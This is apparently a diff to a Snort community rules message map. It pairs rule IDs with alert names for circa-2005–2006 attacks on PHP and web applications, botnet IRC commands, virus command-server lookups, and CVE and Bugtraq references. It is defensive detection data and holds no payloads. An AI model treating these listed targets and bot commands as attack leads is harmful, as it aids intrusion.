+100000194 || COMMUNITY SQL-INJECTION WIZZ ForumReply Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20847
+100000195 || COMMUNITY WEB-PHP _SERVER HTTP_ACCEPT_LANGUAGE access || bugtraq,15414 || cve,2005-3347
+100000196 || COMMUNITY IMAP Qualcomm WorldMail SELECT dot dot attempt || cve,2005-3189 || bugtraq,15488
+100000197 || COMMUNITY ICMP undefined code
+100000198 || COMMUNITY MISC Ntp fingerprint detect || url,www.arhont.com/ViewPage7422.html?siteNodeId=3&languageId=1&contentId=-1
+100000199 || COMMUNITY MISC Novell eDirectory iMonitor access || bugtraq,14548 || cve,2005-2551 || nessus,19248 || url,www.osvdb.org/displayvuln.php?osvdb_id=18703
+100000200 || COMMUNITY WEB-MISC Symantec Brightmail Antispam default login attempt || nessus,19598 || url,securityresponse.symantec.com/avcenter/security/Content/2005.05.31a.html
+100000201 || COMMUNITY WEB-PHP CuteNews flood.db.php access || bugtraq,14869 || cve,2005-3010 || nessus,19756 || url,www.osvdb.org/displayvuln.php?osvdb_id=19478
+100000202 || COMMUNITY WEB-PHP DeluxeBB topic.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19404
+100000203 || COMMUNITY WEB-PHP DeluxeBB misc.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19405
+100000204 || COMMUNITY WEB-PHP DeluxeBB pm.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19407
+100000205 || COMMUNITY WEB-PHP DeluxeBB forums.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19406
+100000206 || COMMUNITY WEB-PHP DeluxeBB newpost.php access || bugtraq,14851 || cve,2005-2989 || nessus,19750 || url,www.osvdb.org/displayvuln.php?osvdb_id=19408
+100000207 || COMMUNITY IMAP GNU Mailutils imap4d hex attempt || cve,2005-2878 || bugtraq,14794 || nessus,19605 || url,www.osvdb.org/displayvuln.php?osvdb_id=19306
+100000208 || COMMUNITY MISC Tunneling IP over DNS with NSTX || url,nstx.dereference.de/nstx/ || url,slashdot.org/articles/00/09/10/2230242.shtml
+100000209 || COMMUNITY WEB-MISC FtpLocate flsearch.pl possible command execution attempt || bugtraq,14367 || cve,2005-2420 || nessus,19300 || url,www.osvdb.org/displayvuln.php?osvdb_id=18305
+100000210 || COMMUNITY WEB-MISC generic cmd pipe after = attempt
+100000211 || COMMUNITY WEB-PHP Gallery g2_itemId access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000212 || COMMUNITY WEB-PHP Gallery g2_return access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000213 || COMMUNITY WEB-PHP Gallery g2_view access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000214 || COMMUNITY WEB-PHP Gallery g2_subView access || bugtraq,15108 || cve,2005-0222 || nessus,20015 || url,www.osvdb.org/displayvuln.php?osvdb_id=13034
+100000215 || COMMUNITY DOS Trend Micro ServerProtect EarthAgent attempt || cve,2005-1928 || url,www.idefense.com/application/poi/display?id=356&type=vulnerabilities
+100000216 || COMMUNITY WEB-MISC Trend Micro ServerProtect isaNVWRequest.dll access || cve,2005-1929 || url,www.idefense.com/application/poi/display?id=353&type=vulnerabilities
+100000217 || COMMUNITY WEB-MISC man2web cmd exec attempt || cve,2005-2812 || bugtraq,14747 || nessus,19591
+100000218 || COMMUNITY WEB-PHP MailGust SQL Injection email attempt || bugtraq,14933 || cve,2005-3063 || nessus,19947
+100000219 || COMMUNITY SMTP MIME-Type ms-tnef access || bugtraq,16197 || cve,2006-0002 || url,www.microsoft.com/technet/security/bulletin/MS06-003.mspx
+100000220 || COMMUNITY WEB-PHP PHP-Nuke admin_styles.php phpbb_root_path access || url,www.autistici.org/anacron-group-italy/file/txt/sile002adv.txt || url,www.osvdb.org/displayvuln.php?osvdb_id=16244
+100000221 || COMMUNITY WEB-PHP AppServ main.php appserv_root param access || url,www.osvdb.org/displayvuln.php?osvdb_id=22228
+100000222 || COMMUNITY MISC TFTP32 Get Format string attempt || url,www.securityfocus.com/archive/1/422405/30/0/threaded || url,www.critical.lt/?vulnerabilities/200
+100000223 || COMMUNITY EXPLOIT SIP UDP Softphone overflow attempt || bugtraq,16213 || cve,2006-0189
+100000224 || COMMUNITY SMTP Mozilla filename overflow attempt || bugtraq,16271
+100000225 || COMMUNITY WEB-MISC ASPSurvey Login_Validate.asp Password param access || cve,2006-0192
+100000226 || COMMUNITY VIRUS Possible BlackWorm or Nymex infected host || url,www.microsoft.com/security/encyclopedia/details.aspx?name=Win32%2fMywife.E%40mm || url,cme.mitre.org/data/list.html#24 || url,isc.sans.org/blackworm
+100000227 || COMMUNITY MISC SNMP trap Format String detected || bugtraq,16267 || cve,2006-0250 || url,www.osvdb.org/displayvuln.php?osvdb_id=22493
+100000228 || COMMUNITY WEB-CLIENT Winamp PlayList buffer overflow attempt || bugtraq,16410 || cve,2006-0476 || url,www.frsirt.com/english/advisories/2006/0361
+100000229 || COMMUNITY MISC Lotus Domino LDAP attack || bugtraq,16523 || cve,2006-0580 || url,lists.immunitysec.com/pipermail/dailydave/2006-February/002896.html
+100000230 || COMMUNITY MISC Jabber/Google Talk Outgoing Traffic || url,www.google.com/talk/
+100000231 || COMMUNITY MISC Jabber/Google Talk Outgoing Auth || url,www.google.com/talk/
+100000232 || COMMUNITY MISC Google Talk Logon || url,www.google.com/talk/
+100000233 || COMMUNITY MISC Jabber/Google Talk Outoing Message || url,www.google.com/talk/
+100000234 || COMMUNITY MISC Jabber/Google Talk Log Out || url,www.google.com/talk/
+100000235 || COMMUNITY MISC Jabber/Google Talk Logon Success || url,www.google.com/talk/
+100000236 || COMMUNITY MISC Jabber/Google Talk Incoming Message || url,www.google.com/talk/
+100000237 || COMMUNITY WEB-MISC Proxy Bypass Via Google Translation Same To And From Language || url,www.boingboing.net/2006/02/22/argonne_national_lab.html
+100000238 || COMMUNITY WEB-CLIENT IE mulitple event handler heap overflow attempt || bugtraq,17131 || cve,2006-1245 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000239 || COMMUNITY WEB-CLIENT IE createTextRange overflow attempt || bugtraq,17196 || cve,2006-1359 || url,www.microsoft.com/technet/security/Bulletin/MS06-013.mspx
+100000240 || COMMUNITY BOT IRC Traffic Detected By Nick Change
+100000241 || COMMUNITY BOT Internal IRC server detected
+100000242 || COMMUNITY BOT Agobot/PhatBot bot.about command
+100000243 || COMMUNITY BOT Agobot/PhatBot bot.die command
+100000244 || COMMUNITY BOT Agobot/PhatBot bot.dns command
+100000245 || COMMUNITY BOT Agobot/PhatBot bot.execute command
+100000246 || COMMUNITY BOT Agobot/PhatBot bot.id command
+100000247 || COMMUNITY BOT Agobot/PhatBot bot.nick command
+100000248 || COMMUNITY BOT Agobot/PhatBot bot.open command
+100000249 || COMMUNITY BOT Agobot/PhatBot bot.remove command
+100000250 || COMMUNITY BOT Agobot/PhatBot bot.removeallbut command
+100000251 || COMMUNITY BOT Agobot/PhatBot bot.rndnick command
+100000252 || COMMUNITY BOT Agobot/PhatBot bot.status command
+100000253 || COMMUNITY BOT Agobot/PhatBot bot.sysinfo command
+100000254 || COMMUNITY BOT Agobot/PhatBot bot.longuptime command
+100000255 || COMMUNITY BOT Agobot/PhatBot bot.highspeed command
+100000256 || COMMUNITY BOT Agobot/PhatBot bot.quit command
+100000257 || COMMUNITY BOT Agobot/PhatBot bot.flushdns command
+100000258 || COMMUNITY BOT Agobot/PhatBot bot.secure command
+100000259 || COMMUNITY BOT Agobot/PhatBot bot.unsecure command
+100000260 || COMMUNITY BOT Agobot/PhatBot bot.command command
+100000261 || COMMUNITY BOT SDBot killthread command
+100000262 || COMMUNITY BOT SDBot cdkey command
+100000263 || COMMUNITY BOT SDBot getcdkey command
+100000264 || COMMUNITY BOT SDBot rndnick command
+100000265 || COMMUNITY BOT SDBot c_rndnick command
+100000266 || COMMUNITY BOT SDBot c_nick command
+100000267 || COMMUNITY BOT SpyBot stopspy  command
+100000268 || COMMUNITY BOT SpyBot redirectspy  command
+100000269 || COMMUNITY BOT SpyBot loadclones command
+100000270 || COMMUNITY BOT SpyBot killclones command
+100000271 || COMMUNITY BOT SpyBot rawclones  command
+100000272 || COMMUNITY BOT GTBot ver command
+100000273 || COMMUNITY BOT GTBot info command
+100000274 || COMMUNITY BOT GTBot scan command
+100000275 || COMMUNITY BOT GTBot portscan command
+100000276 || COMMUNITY BOT GTBot stopscan command
+100000277 || COMMUNITY BOT GTBot packet command
+100000278 || COMMUNITY BOT GTBot bnc command
+100000279 || COMMUNITY SMTP Incoming WAB attachment || cve,2006-0014 || url,www.microsoft.com/technet/security/bulletin/MS06-016.mspx
+100000281 || COMMUNITY MISC Connect Direct Server - Session Terminated Invalid Credentials
+100000282 || COMMUNITY VIRUS Nugache connect
+100000283 || COMMUNITY VIRUS Nugache data || url,securityresponse.symantec.com/avcenter/venc/data/w32.nugache.a@mm.html
+100000284 || COMMUNITY WEB-CLIENT RealMedia invalid chunk size heap overflow attempt || bugtraq,17202 || cve,2005-2922 || url,service.real.com/realplayer/security/03162006_player/en/
+100000285 || COMMUNITY WEB-PHP ldap_var.inc.php remote file include attempt || bugtraq,17915
+100000286 || COMMUNITY WEB-PHP X Poll admin access || url,marc.theaimsgroup.com/?l=bugtraq&m=114710173409997&w=2
+100000287 || COMMUNITY WEB-PHP Claroline ldap.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000288 || COMMUNITY WEB-PHP Claroline atutor.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000289 || COMMUNITY WEB-PHP Claroline db-generic.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000290 || COMMUNITY WEB-PHP Claroline docebo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000291 || COMMUNITY WEB-PHP Claroline dokeos.1.6.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000292 || COMMUNITY WEB-PHP Claroline dokeos.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000293 || COMMUNITY WEB-PHP Claroline ganesha.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000294 || COMMUNITY WEB-PHP Claroline mambo.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000295 || COMMUNITY WEB-PHP Claroline moodle.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000296 || COMMUNITY WEB-PHP Claroline phpnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000297 || COMMUNITY WEB-PHP Claroline postnuke.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000298 || COMMUNITY WEB-PHP Claroline spip.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000299 || COMMUNITY WEB-PHP Claroline event/init_event_manager.inc.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000300 || COMMUNITY WEB-PHP Claroline export_exe_tracking.class.php access || url,www.claroline.net || url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2
+100000301 || COMMUNITY SMTP McAfee WebShield SMTP bounce message format string attempt || bugtraq,16742 || cve,2006-0559
+100000302 || COMMUNITY WEB-MISC DeviceSelection.asp sRedirectUrl parameter access || bugtraq,17964
+100000303 || COMMUNITY WEB-MISC DeviceSelection.asp sCancelURL parameter access || bugtraq,17964
+100000304 || COMMUNITY WEB-PHP Gphoto index.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000305 || COMMUNITY WEB-PHP Gphoto index.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000306 || COMMUNITY WEB-PHP Gphoto diapho.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000307 || COMMUNITY WEB-PHP Gphoto diapho.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000308 || COMMUNITY WEB-PHP Gphoto affich.php rep parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000309 || COMMUNITY WEB-PHP Gphoto affich.php image parameter remote file include attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2
+100000310 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - scfzf.xicp.net || url,vil.nai.com/vil/content/v_139545.htm
+100000311 || COMMUNITY VIRUS Ginwui.B command server dns query attempt - localhosts.3322.org || url,vil.nai.com/vil/content/v_139545.htm
+100000312 || COMMUNITY VIRUS Ginwui.B POST attempt || url,vil.nai.com/vil/content/v_139545.htm
+100000313 || COMMUNITY WEB-MISC 3Com Network Supervisor directory traversal || bugtraq,14715 || cve,2005-2020
+100000314 || COMMUNITY WEB-MISC MediaWiki parser script insertion attempt || cve,2006-2611
+100000315 || COMMUNITY WEB-MISC HTTP PUT Request || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000316 || COMMUNITY WEB-MISC HTTP PUT Request Successful || url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html
+100000317 || COMMUNITY WEB-MISC phpBazar classified_right.php remote file include || bugtraq,18052
+100000318 || COMMUNITY WEB-MISC phpBazar admin.php unauthorized administrative access || bugtraq,18053 || cve,2006-2527
+100000319 || COMMUNITY WEB-MISC ActualScripts direct.php remote file include || bugtraq,17597
+100000320 || COMMUNITY WEB-MISC ScozNet ScozNews functions.php remote file include || bugtraq,18027
+100000321 || COMMUNITY WEB-MISC ScozNet ScozNews help.php remote file include || bugtraq,18027
+100000322 || COMMUNITY WEB-MISC ScozNet ScozNews mail.php remote file include || bugtraq,18027
+100000323 || COMMUNITY WEB-MISC ScozNet ScozNews news.php remote file include || bugtraq,18027
+100000324 || COMMUNITY WEB-MISC ScozNet ScozNews template.php remote file include || bugtraq,18027
+100000325 || COMMUNITY WEB-MISC ScozNet ScozNews admin_cats.php remote file include || bugtraq,18027
+100000326 || COMMUNITY WEB-MISC ScozNet ScozNews admin_edit.php remote file include || bugtraq,18027
+100000327 || COMMUNITY WEB-MISC ScozNet ScozNews admin_import.php remote file include || bugtraq,18027
+100000328 || COMMUNITY WEB-MISC ScozNet ScozNews admin_templates.php remote file include || bugtraq,18027
+100000329 || COMMUNITY WEB-MISC Invision Power Board class_post.php remote file include || bugtraq,18040
+100000330 || COMMUNITY WEB-MISC Invision Power Board moderate.php remote file include || bugtraq,18040
+100000331 || COMMUNITY WEB-MISC ZixForum settings.asp access || bugtraq,18043
+100000332 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000333 || COMMUNITY WEB-MISC Artmedic Newsletter log.php access || bugtraq,18047
+100000334 || COMMUNITY WEB-MISC CaLogic Calendars reconfig.php remote file include || bugtraq,18076
+100000335 || COMMUNITY WEB-MISC CaLogic Calendars srxclr.php remote file include || bugtraq,18076
+100000336 || COMMUNITY WEB-MISC phpMyDirectory footer.php remote file include || cve,2006-2521
+100000337 || COMMUNITY WEB-MISC phpMyDirectory defaults_setup.php remote file include || cve,2006-2521
+100000338 || COMMUNITY WEB-MISC phpMyDirectory header.php remote file include || cve,2006-2521
+100000339 || COMMUNITY WEB-MISC V-Webmail core.php remote file include || url,secunia.com/advisories/20297/
+100000340 || COMMUNITY WEB-MISC V-Webmail pop3.php remote file include || url,secunia.com/advisories/20297/
+100000341 || COMMUNITY WEB-MISC DoceboLMS help.php remote file include || bugtraq,18110
+100000342 || COMMUNITY WEB-MISC DoceboLMS business.php remote file include || bugtraq,18110
+100000343 || COMMUNITY WEB-MISC DoceboLMS credits.php remote file include || bugtraq,18110
+100000344 || COMMUNITY WEB-MISC SocketMail index.php remote file include || url,secunia.com/advisories/20273/
+100000345 || COMMUNITY WEB-MISC SocketMail inc-common.php remote file include || url,secunia.com/advisories/20273/
+100000346 || COMMUNITY WEB-MISC Plume CMS prepend.php remote file include || bugtraq,16662
+100000347 || COMMUNITY WEB-MISC Ezupload Pro form.php remote file include || bugtraq,18135
+100000348 || COMMUNITY WEB-MISC Ezupload Pro customize.php remote file include || bugtraq,18135
+100000349 || COMMUNITY WEB-MISC Ezupload Pro initialize.php remote file include || bugtraq,18135
+100000350 || COMMUNITY WEB-MISC UBBThreads ubbt.inc.php remote file include || url,www.nukedx.com/?viewdoc=40
+100000351 || COMMUNITY WEB-MISC UBBThreads config[cookieprefix] remote file include || url,www.nukedx.com/?viewdoc=40
+100000352 || COMMUNITY WEB-MISC Blend Portal blend_common.php remote file include || bugtraq,18153 || url,www.nukedx.com/?viewdoc=41
+100000353 || COMMUNITY WEB-MISC tinyBB footers.php remote file include || bugtraq,18147
+100000354 || COMMUNITY WEB-MISC phpBB-Amod lang_activity.php remote file include || bugtraq,18155
+100000355 || COMMUNITY WEB-MISC eSyndiCat cron.php remote file include || url,secunia.com/advisories/20218/
+100000356 || COMMUNITY WEB-MISC BASE base_qry_common.php remote file include || url,secunia.com/advisories/20300/
+100000357 || COMMUNITY WEB-MISC BASE base_stat_common.php remote file include || url,secunia.com/advisories/20300/
+100000358 || COMMUNITY WEB-MISC BASE base_include.inc.php remote file include || url,secunia.com/advisories/20300/
+100000359 || COMMUNITY WEB-MISC Fastpublish CMS drucken.php remote file include || bugtraq,18163
+100000360 || COMMUNITY WEB-MISC Fastpublish CMS drucken2.php remote file include || bugtraq,18163
+100000361 || COMMUNITY WEB-MISC Fastpublish CMS email_an_benutzer.php remote file include || bugtraq,18163
+100000362 || COMMUNITY WEB-MISC Fastpublish CMS rechnung.php remote file include || bugtraq,18163
+100000363 || COMMUNITY WEB-MISC Fastpublish CMS search.php remote file include || bugtraq,18163
+100000364 || COMMUNITY WEB-MISC Fastpublish CMS admin.php remote file include || bugtraq,18163
+100000365 || COMMUNITY WEB-MISC phpNuke index.php remote file include || bugtraq,18186
+100000366 || COMMUNITY WEB-MISC phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000367 || COMMUNITY WEB-MISC phpNuke admin_board.php remote file include || bugtraq,18186
+100000368 || COMMUNITY WEB-MISC phpNuke admin_disallow.php remote file include || bugtraq,18186
+100000369 || COMMUNITY WEB-MISC phpNuke admin_forumauth.php remote file include || bugtraq,18186
+100000370 || COMMUNITY WEB-MISC phpNuke admin_groups.php remote file include || bugtraq,18186
+100000371 || COMMUNITY WEB-MISC phpNuke admin_ranks.php remote file include || bugtraq,18186
+100000372 || COMMUNITY WEB-MISC phpNuke admin_styles.php remote file include || bugtraq,18186
+100000373 || COMMUNITY WEB-MISC phpNuke admin_user_ban.php remote file include || bugtraq,18186
+100000374 || COMMUNITY WEB-MISC phpNuke admin_words.php remote file include || bugtraq,18186
+100000375 || COMMUNITY WEB-MISC phpNuke admin_avatar.php remote file include || bugtraq,18186
+100000376 || COMMUNITY WEB-MISC phpNuke admin_db_utilities.php remote file include || bugtraq,18186
+100000377 || COMMUNITY WEB-MISC phpNuke admin_forum_prune.php remote file include || bugtraq,18186
+100000378 || COMMUNITY WEB-MISC phpNuke admin_forums.php remote file include || bugtraq,18186
+100000379 || COMMUNITY WEB-MISC phpNuke admin_mass_email.php remote file include || bugtraq,18186
+100000380 || COMMUNITY WEB-MISC phpNuke admin_smilies.php remote file include || bugtraq,18186
+100000381 || COMMUNITY DELETED phpNuke admin_ug_auth.php remote file include || bugtraq,18186
+100000382 || COMMUNITY WEB-MISC phpNuke admin_users.php remote file include || bugtraq,18186
+100000383 || COMMUNITY WEB-MISC OsTicket open_form.php remote file include || bugtraq,18190
+100000384 || COMMUNITY WEB-MISC Ottoman index.php remote file include || bugtraq,18208
+100000385 || COMMUNITY WEB-MISC Ottoman error.php remote file include || bugtraq,18208
+100000386 || COMMUNITY WEB-MISC Ottoman main_class.php remote file include || bugtraq,18208
+100000387 || COMMUNITY WEB-MISC Ovidentia index.php remote file include || bugtraq,18232
+100000388 || COMMUNITY WEB-MISC Ovidentia topman.php remote file include || bugtraq,18232
+100000389 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000390 || COMMUNITY WEB-MISC Ovidentia vacadmb.php remote file include || bugtraq,18232
+100000391 || COMMUNITY WEB-MISC Ovidentia vacadma.php remote file include || bugtraq,18232
+100000392 || COMMUNITY WEB-MISC Ovidentia vacadm.php remote file include || bugtraq,18232
+100000393 || COMMUNITY WEB-MISC Ovidentia start.php remote file include || bugtraq,18232
+100000394 || COMMUNITY WEB-MISC Ovidentia search.php remote file include || bugtraq,18232
+100000395 || COMMUNITY WEB-MISC Ovidentia posts.php remote file include || bugtraq,18232
+100000396 || COMMUNITY WEB-MISC Ovidentia options.php remote file include || bugtraq,18232
+100000397 || COMMUNITY WEB-MISC Ovidentia login.php remote file include || bugtraq,18232
+100000398 || COMMUNITY WEB-MISC Ovidentia frchart.php remote file include || bugtraq,18232
+100000399 || COMMUNITY WEB-MISC Ovidentia flbchart.php remote file include || bugtraq,18232
+100000400 || COMMUNITY WEB-MISC Ovidentia fileman.php remote file include || bugtraq,18232
+100000401 || COMMUNITY WEB-MISC Ovidentia faq.php remote file include || bugtraq,18232
+100000402 || COMMUNITY WEB-MISC Ovidentia event.php remote file include || bugtraq,18232
+100000403 || COMMUNITY WEB-MISC Ovidentia directory.php remote file include || bugtraq,18232
+100000404 || COMMUNITY WEB-MISC Ovidentia articles.php remote file include || bugtraq,18232
+100000405 || COMMUNITY WEB-MISC Ovidentia artedit.php remote file include || bugtraq,18232
+100000406 || COMMUNITY WEB-MISC Ovidentia approb.php remote file include || bugtraq,18232
+100000407 || COMMUNITY WEB-MISC Ovidentia calday.php remote file include || bugtraq,18232
+100000408 || COMMUNITY WEB-MISC AssoCIateD cache_mngt.php remote file include || bugtraq,18220
+100000409 || COMMUNITY WEB-MISC AssoCIateD gallery_functions.php remote file include || bugtraq,18220
+100000410 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000411 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000412 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000413 || COMMUNITY WEB-MISC REDAXO index.inc.php remote file include || bugtraq,18229
+100000414 || COMMUNITY WEB-MISC REDAXO community.inc.php remote file include || bugtraq,18229
+100000415 || COMMUNITY WEB-MISC Bytehoard server.php remote file include || bugtraq,18234
+100000416 || COMMUNITY WEB-MISC MyBloggie admin.php remote file include || bugtraq,18241
+100000417 || COMMUNITY WEB-MISC MyBloggie scode.php remote file include || bugtraq,18241
+100000418 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashheadlines.php remote file include || bugtraq,18248
+100000419 || COMMUNITY WEB-MISC Ashwebstudio Ashnews ashnews.php remote file include || bugtraq,18248
+100000420 || COMMUNITY WEB-MISC Informium common-menu.php remote file include || bugtraq,18249
+100000421 || COMMUNITY WEB-MISC Igloo wiki.php remote file include || bugtraq,18250
+100000422 || COMMUNITY WEB-MISC phpBB template.php remote file include || bugtraq,18255
+100000423 || COMMUNITY WEB-MISC DotWidget CMS index.php remote file include || bugtraq,18258
+100000424 || COMMUNITY WEB-MISC DotWidget CMS feedback.php remote file include || bugtraq,18258
+100000425 || COMMUNITY WEB-MISC DotWidget CMS printfriendly.php remote file include || bugtraq,18258
+100000426 || COMMUNITY WEB-MISC DotClear prepend.php remote file include || bugtraq,18259
+100000427 || COMMUNITY WEB-MISC JBoss jmx-console html adaptor access || url,jboss.org/wiki/Wiki.jsp?page=JMXConsole
+100000428 || COMMUNITY WEB-MISC JBoss RMI class download service directory listing attempt || url,marc.theaimsgroup.com/?l=bugtraq&m=111911095424496&w=2
+100000429 || COMMUNITY WEB-MISC JBoss web-console access || url,www.jboss.org/wiki/Wiki.jsp?page=WebConsole
+100000430 || COMMUNITY WEB-MISC BlueShoes Bs_Faq.class.php remote file include || bugtraq,18261
+100000431 || COMMUNITY WEB-MISC BlueShoes fileBrowserInner.php remote file include || bugtraq,18261
+100000432 || COMMUNITY WEB-MISC BlueShoes file.php remote file include || bugtraq,18261
+100000433 || COMMUNITY WEB-MISC BlueShoes viewer.php remote file include || bugtraq,18261
+100000434 || COMMUNITY WEB-MISC BlueShoes Bs_ImageArchive.class.php remote file include || bugtraq,18261
+100000435 || COMMUNITY WEB-MISC BlueShoes Bs_Ml_User.class.php remote file include || bugtraq,18261
+100000436 || COMMUNITY WEB-MISC BlueShoes Bs_Wse_Profile.class.php remote file include || bugtraq,18261
+100000437 || COMMUNITY WEB-MISC CS-Cart class.cs_phpmailer.php remote file include || bugtraq,18263
+100000438 || COMMUNITY WEB-MISC Claroline mambo.inc.php remote file include || bugtraq,18265
+100000439 || COMMUNITY WEB-MISC Claroline postnuke.inc.php remote file include || bugtraq,18265
+100000440 || COMMUNITY WEB-MISC CyBoards common.php remote file include || bugtraq,18272
+100000441 || COMMUNITY WEB-MISC Wikiwig wk_lang.php remote file include || bugtraq,18291
+100000442 || COMMUNITY WEB-MISC MiraksGalerie pcltar.lib.php remote file include || bugtraq,18313
+100000443 || COMMUNITY WEB-MISC MiraksGalerie galimage.lib.php remote file include || bugtraq,18313
+100000444 || COMMUNITY WEB-MISC MiraksGalerie galsecurity.lib.php remote file include || bugtraq,18313
+100000445 || COMMUNITY WEB-PHP Particle Gallery Viewimage PHP Variable Injection Attempt || bugtraq,18270
+100000446 || COMMUNITY WEB-PHP Particle Wiki PHP SQL Injection attempt || bugtraq,18273
+100000447 || COMMUNITY WEB-CLIENT Mozilla Firefox DOMNodeRemoved attack attempt || bugtraq,18228 || cve,2006-2779
+100000448 || COMMUNITY WEB-MISC OfficeFlow default.asp xss attempt || bugtraq,18367
+100000449 || COMMUNITY WEB-MISC OfficeFlow files.asp MSSQL injection attempt || bugtraq,18367
+100000450 || COMMUNITY WEB-MISC VanillaSoft Helpdesk default.asp xss attempt || bugtraq,18368
+100000451 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000452 || COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt || bugtraq,18379
+100000453 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000454 || COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt || bugtraq,18379
+100000455 || COMMUNITY WEB-MISC Axent Forum viewposts.cfm xss attempt || bugtraq,18473
+100000456 || COMMUNITY WEB-MISC SSPwiz index.cfm xss attempt || bugtraq,18482
+100000457 || COMMUNITY WEB-MISC ASP Stats pages.asp MSSQL injection attempt || bugtraq,18512
+100000458 || COMMUNITY WEB-MISC DPVision Tradingeye Shop details.cfm xss attempt || bugtraq,18526
+100000459 || COMMUNITY WEB-MISC WeBBoA yeni_host.asp MSSQL injection attempt || bugtraq,18564
+100000460 || COMMUNITY WEB-MISC AZureus index.tmpl xss attempt || bugtraq,18596
+100000461 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000462 || COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt || bugtraq,18598
+100000463 || COMMUNITY WEB-PHP Joomla joomla.php remote file include || bugtraq,18363
+100000464 || COMMUNITY WEB-PHP LoveCompass AEPartner design.inc.php remote file include || bugtraq,18370
+100000465 || COMMUNITY WEB-PHP Empris sql_fcnsOLD.php remote file include || bugtraq,18371
+100000466 || COMMUNITY WEB-PHP Free QBoard post.php remote file include || bugtraq,18373
+100000467 || COMMUNITY WEB-PHP WebprojectDB nav.php remote file include || bugtraq,18378
+100000468 || COMMUNITY WEB-PHP WebprojectDB lang.php remote file include || bugtraq,18378
+100000469 || COMMUNITY WEB-PHP iFoto index.php xss attempt || bugtraq,18391
+100000470 || COMMUNITY WEB-PHP Foing manage_songs.php remote file include || bugtraq,18392
+100000471 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000472 || COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt || bugtraq,18403
+100000473 || COMMUNITY WEB-PHP VBZoom language.php SQL injection attempt || bugtraq,18403
+100000474 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000475 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000476 || COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt || bugtraq,18403
+100000477 || COMMUNITY WEB-PHP VBZoom subject.php SQL injection attempt || bugtraq,18403
+100000478 || COMMUNITY WEB-PHP aWebNews visview.php remote file include || bugtraq,18406
+100000479 || COMMUNITY WEB-PHP CzarNews headlines.php remote file include || bugtraq,18411
+100000480 || COMMUNITY WEB-PHP Somery team.php remote file include || bugtraq,18412
+100000481 || COMMUNITY WEB-PHP Hinton Design PHPHG signed.php remote file include || bugtraq,18413
